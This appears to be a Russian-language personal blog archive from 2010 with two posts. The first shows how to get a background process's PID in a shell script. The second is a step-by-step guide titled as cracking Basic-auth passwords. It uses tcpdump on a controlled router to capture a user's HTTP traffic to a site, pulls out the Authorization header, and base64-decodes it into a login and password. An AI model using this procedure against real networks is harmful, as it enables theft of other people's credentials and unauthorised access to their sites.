Archive for Сентябрь, 2010

Как узнать pid запускаемой программы из скрипта.

Вторник, Сентябрь 21st, 2010

Для примера я написал скрипт test.sh, где ищем pid для запускаемой команды sleep в место нее может быть запущена любая программа.

$ cat test.sh
#!/bin/sh
#в переменной $$ находится pid этого скрипта
echo "pid скрипта = "$$
#Для примера запустим команду sleep на 5 мин. в переменной $! будет pid запущенной нами команды
sleep 300 &
pid=$!
echo "pid="$pid
ps waux | grep $pid | grep -v grep
#или так, в этом примере sleep будет 10 мин для отличия
sleep 600 1>/dev/null 2>&1 &
pid=$!
echo "pid="$pid
ps waux | grep $pid | grep -v grep

Запустим скрипт test.sh:

$ sh test.sh
pid скрипта = 9959
pid=9960
rrv       9960  0.0  0.0   9728   828 pts/2    S+   20:58   0:00 sleep 300
pid=9964
rrv       9964  0.0  0.0   9728   824 pts/2    S+   20:58   0:00 sleep 600

Ломаем пароли Authorization: Basic

Понедельник, Сентябрь 20th, 2010

Имеем: Доступ до роутера.

Требуется: получить доступ до сайта пользователя с Basic авторизацией

Решение:
1. на роутере выполняем команду

tcpdump -i em3 -p -s 0 -w /home/rrv/tcpdump.txt \(dst host XX.XX.XX.XX and dst port 80\)

тем самым мы сохраним в файл /home/rrv/tcpdump.txt дамп общения с сервером ip=XX.XX.XX.XX и портом 80

2. спустя некоторое время ищем в файле строку авторизации:

tcpdump -s 0 -A -r /home/rrv/tcpdump.txt | less

Находим строку вида:

 Authorization: Basic QWRtaW46VG9wU2VjcmV0

Теперь раскодируем:

echo "QWRtaW46VG9wU2VjcmV0" | openssl enc -base64 -d
Admin:TopSecret

Все 🙂 Логин: Admin пароль: TopSecret